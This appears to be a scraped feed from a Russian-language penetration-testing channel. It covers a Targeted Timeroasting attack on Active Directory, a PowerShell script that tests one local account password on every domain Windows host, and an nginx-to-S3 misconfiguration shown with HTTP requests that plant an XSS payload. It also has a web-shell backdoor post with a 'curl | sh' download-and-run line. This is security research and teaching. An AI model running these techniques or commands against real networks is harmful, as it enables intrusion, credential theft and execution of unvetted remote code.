🔗Ссылка:
https://habr.com/ru/companies/bastion/articles/873850/

Кстати, вполне интересная схема про применение принципов нулевого доверия в рамках тестирования. Интересная она тем, что она практически базируется на принципах Secure by Design, что в целом забавно)) вообще, делать все как надо сразу - может и есть рецепт успеха?

Сегодня я увидел в нескольких каналах информацию про атаку Targeted Timeroasting и очень вдохновился ею.
В двух словах, что такое атака Timeroasting - Это атака, позволяющая получить хеш пароля машинной учетной записи. В целом, мы знаем, что это для нас бесполезно, т.к. пароль машины чаще всего очень длинный и сложный. Но есть сценарии, когда пароль все таки бывает простой и, в совокупности с атакой pre2k, можно построить интересный вектор. Об этом в своем блоге недавно писал @snovvcrash.

Суть атаки Targeted Timeroasting немного в другом: если у нас есть права GenericWrite на объект пользователя, то мы можем превратить этого пользователя в компьютер (что?) и запросить хеш для него. Превратить пользователя в компьютер можно двумя простыми шагами:
1. Меняем userAccountControl на 4096 (UF_WORKSTATION_TRUST_ACCOUNT)
2. Переименовываем sAMAccountName в тоже имя, но со знаком $ на конце
После этих действий сервис времени будет уверен, что это теперь компьютер и отдаст вам хеш.
Хорошо, как можно это использовать?

1 Сценарий.
У нас есть права Domain Admins и не хочется шуметь с помощью атаки DcSync, тогда можно запустить Targeted Timeroasting на всех пользователей и вы получите хеши учеток, которые потом надо будет еще сбрутать.

2 Сценарий.
Захватили учетку HelpDesk. Чаще всего у этой учетки есть права GenericWrite на половину домена. CA в домене нет, значит не провести атаку Shadow Creds. Проведя атаки Targeted Kerberoasting или Targeted AsReproasting мы получим билеты, которые нет возможности побрутить по большим словарям. А с помощью атаки Targeted Timeroasting мы, во-первых, не сильно нашумим на SIEM (не факт, конечно), а во-вторых, получим хеши, которые можно перебирать с чудовещной скоростью.
Остальные сценарии придумайте сами :)

Свежий ресерч про эту атаку вы можете прочитать в блоге. Брутить хеши на hashcat можно так:

git clone https://github.com/hashcat/hashcat && cd hashcat
git checkout 5236f3bd7 && make
./hashcat -m31300

Для атаки Targeted Timeroasting был разработан PowerShell скрипт. Но сегодня я переписал атаку на Python и выложил у себя в репозитории: https://github.com/PShlyundin/TimeSync
Назвал инструмент TimeSync, потому что мне эта атака очень напомнила классический DcSync.

Наш Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈

Проверка локальных учетных записей
Представим себе ситуацию, когда во время выполнения проекта мы обнаружили пароль от локального администратора, например, в групповых политиках, или от другой локальной учетной записи. Нам необходимо проверить на каких хостах эта учетная запись есть и валидна. Если под рукой есть «nxc», то проблем нет, а если нет? Можно воспользоваться PowerShell и написать небольшой скрипт для проверки локальной учетной записи.

Скрипт будет запрашивать в домене все активные хосты с операционной системой Windows и выполнять проверку локальной учетной записи. Метод, используемый в данном скрипте для новых версий Windows, основан на обработке ошибки, это связанно с механизмами безопасности внедренных в операционную систему. Ошибки, возникающие при правильном и неправильном пароле, разные. И на основании этого мы можем делать предположение когда пароль является верным. а когда нет.

function Check-LocalCredential{
    [CmdletBinding()]
    Param (
      [Parameter(Mandatory)]
      [string]
      $UserName,

      [Parameter(Mandatory)]
      [string]
      $Password
    )

    # Подключаем библиотеку для работы с учетными записями
    Add-Type -AssemblyName System.DirectoryServices.AccountManagement -ErrorAction Stop

    # В качестве контекста используем машину
    $ContextType = [DirectoryServices.AccountManagement.ContextType]::Machine

    $searcher = [adsisearcher]'(&(objectCategory=computer)(operatingsystem=*windows*)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))'
    $searcher.PageSize = 1000
    $comps=$searcher.FindAll()
   
    foreach($comp in $comps)
    {
        $ComputerName =  $comp.Properties.dnshostname.Item(0)
        
        try
        {
            $PrincipalContext = [System.DirectoryServices.AccountManagement.PrincipalContext]::new($ContextType, $ComputerName)
            # Проверям учетные данные
            if($PrincipalContext.ValidateCredentials($UserName,$Password))
            {
                Write-Host -ForegroundColor Green "[+] User $UserName has password $Password on computer $ComputerName"
            }
        }
        catch [UnauthorizedAccessException]
        {
        Write-Host -ForegroundColor Yellow "[*] User $UserName has password $Password on computer $ComputerName"
        continue
        }
        catch 
        {
            #Write-host -ForegroundColor Red "[!] Error  $_.Exception.Message "
            continue
        }
    }
}  

Запускаем

Check-LocalCredential -Username Administrator -Password Qwerty123 

Зеленый цвет вывода так же покажет, что учетная запись, от имени которой запускается скрипт, является локальным администратором на проверяемом хосте, желтый - пароль для локальной учетной записи верный.

Стоит помнить, что скрипт проверяет валидность учетных данных, но не показывает членство в группе локальных администраторов.


#Powershell #Внутрянка

🔗Ссылка:
https://habr.com/ru/articles/875694/

🔗Ссылка:
https://www.securitylab.ru/news/555704.php

🔗Ссылка:
https://opennet.ru/62602/

Наш Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈

🔗Ссылка:
https://www.securitylab.ru/news/555730.php

Небольшая заметка про уязвимую конфигурацию nginx при проксировании запросов на S3, которое позволило в том году налутать немного уязвимостей на BugBounty.

Объектные хранилища, совместимые с S3 API, используют два варианта указания имени бакета в запросе.

Virtual-hosted–style

GET /object-name HTTP/1.1
Host: bucket-name.s3endpoint

Path-style

GET /bucket-name/objectname HTTP/1.1
Host: s3endpoint

При использовании path-style варианта может возникнуть довольно неочевидная проблема с конфигурацией nginx.
Рассмотрим на примере сайта, который проксирует запросы подставляя имя бакета в путь с помощью следующего rewrite правила. В примерах будет использоваться Yandex Object Storage, но информация актуальна для всех S3 хранилищ.

location / {
  set $s3_name "company-bucket";
  set $s3_host "storage.yandexcloud.net";
         
    rewrite ^(.*)$ /$s3_name$1 break;
         
    proxy_pass https://$s3_host;

В nginx rewrite применяется к нормализованному пути и если в нем присутствует символ переноса строки %0A, то данное регулярное выражение не сработает, поскольку в нем используются якоря начала и конца строки.

http://example.tld/test/test.html
=
https://storage.yandexcloud.net/company-bucket/test/test.html


http://example.tld/test/foo%0Abar
=
https://storage.yandexcloud.net/test/foo%0Abar

Что в результате приведет к возможности указать любое имя бакета в запросе. Причем декодированный символ %0A в имени объекта не помешает, так как S3 это не файловая система и такие имена разрешены.

Таким образом, если используется публичное объектное хранилище, атакующий может создать в нем свой бакет с произвольным именем и загрузить на него файл foo%0Abar с XSS. Символ %0A в имени объекта должен быть декодированным, поэтому проще всего загрузить объект на него с помощью PUT запроса.

В данном запросе подпись формируется с помощью Hackvertor тегов расширения для Burp Suite.

PUT /bucket-name/foo%0Abar HTTP/1.1
Host: storage.yandexcloud.net
Content-Type: text/html
Authorization: AWS ##ACCESS_KEY##:<@base64><@hex2ascii><@hmac_sha1('##SECRET-KEY##')><@d_burp_url>PUT%0A%0Atext/html%0A<@date("EEE, dd MMM yyyy HH:mm:ss z","GMT")/>%0A/bucket-name/foo%250Abar<@/d_burp_url><@/hmac_sha1><@/hex2ascii><@/base64>
Date: <@date("EEE, dd MMM yyyy HH:mm:ss z","GMT")/>
Content-Length: 25

<script>alert(1)</script>

Если же запрос попадает во внутреннее объектное хранилище, то атакующий может перебирать существующие в системе бакеты, часть из которых может разрешать создание объектов PUT запросом без авторизации. Что в результате также приведет к возможности проэксплуатировать XSS.


Но чаще встречается ситуация, когда проксирование запросов производится только из одной папки, например:

location /static/ {
  set $s3_name "company-bucket";
  set $s3_host "storage.yandexcloud.net";
         
    rewrite ^(.*)$ /$s3_name$1 break;
         
    proxy_pass https://$s3_host;

Но даже в данном случае конфигурация будет уязвима из-за разницы обработок переданного пути. Правило location и rewrite работают с нормализованным путем, а proxy_pass, в котором указан URI без пути, отправит ненормализованное значение.

Таким образом для эксплуатации уязвимости необходимо отправить запрос, который в нормализованном виде попадет в location /static/, но будет начинаться с бакета, который контролирует атакующий.

http://example.tld/attacker-bucket/..%2Fstatic/foo%0Abar
=
https://storage.yandexcloud.net/attacker-bucket/..%2Fstatic/foo%0Abar

Как и в прошлом примере наличие в имени объекта символов %0A и /../ не помешают эксплуатации, так как это не файловая система и такой объект можно создать PUT запросом.

Также, если вы планируете искать подобные мисконфиги блэкбоксом, то нужно учитывать, что ошибки NoSuchObject и NoSuchBucket часто заменяют на дефолтную страницу 404, что может помешать.
Обойти это можно вызывая ошибки с кодом, отличным от 404, например отправляя PUT запрос без указания Content-Length.

PUT /attacker-bucket/..%2Fstatic/foo%0Abar HTTP/1.1
Host: example.tld
Connection: close

Наш Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈

🔗Ссылка:
https://www.securitylab.ru/news/555732.php

🔗Ссылка:
https://www.securitylab.ru/news/555773.php

Backdooring Your Backdoors - Another $20 Domain, More Governments

Интересный ресерч от watchTowr из серии "hackers hacking hackers". В ходе исследования были проанализированы исходники различных веб-шеллов с открытым исходным кодом и обнаружены некоторые закладки недокументированные особенности😎 Например, некоторые возможно вспомнят историю с бэкдором в веб-шелле c99shcook, который сливал логопасы разработчику. Исследователи пошли дальше и зарегали на себя просроченные домены (40+), на которые отстукивались различные веб-шеллы и начали анализировать полученные доступы данные телеметрии😎

Результаты анализа включают около 4000 взломанных веб-серверов, в том числе несколько ресурсов в доменной зоне .gov, на которые заливались различные веб-шеллы🙈

В целом ничего нового и так было всегда, но заставляет задуматься о вечном том, что мы как security профессионалы по умолчанию обязаны читать исходники любых opensource инструментов, которые используем в инфраструктуре заказчиков. Но ведь иногда бывают ситуации, когда проверенного инструмента просто нет под рукой и необходимо принести его с гитхаба из репозитория уважаемого автора offensive утилит.

Например, поставьте лайк👍 если когда-нибудь делали так:
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

Автор linpeas в прошлом году проводил эксперимент и просто по фану в рамках повышения осведомленности временно добавил в свой скрипт сбор телеметрии, где именно используется его инструмент, подробности и скриншоты будут в комментариях.

PS: Желаю всем удачного завершения рабочей недели и хороших выходных!

🔗Ссылка:
https://habr.com/ru/companies/npoechelon/articles/337824/

🔗Ссылка:
https://habr.com/ru/articles/875694/

🔗Ссылка:
https://www.intigriti.com/researchers/blog/hacking-tools/open-url-redirects-a-complete-guide-to-exploiting-open-url-redirect-vulnerabilities

🔗Ссылка:
https://opennet.ru/62614/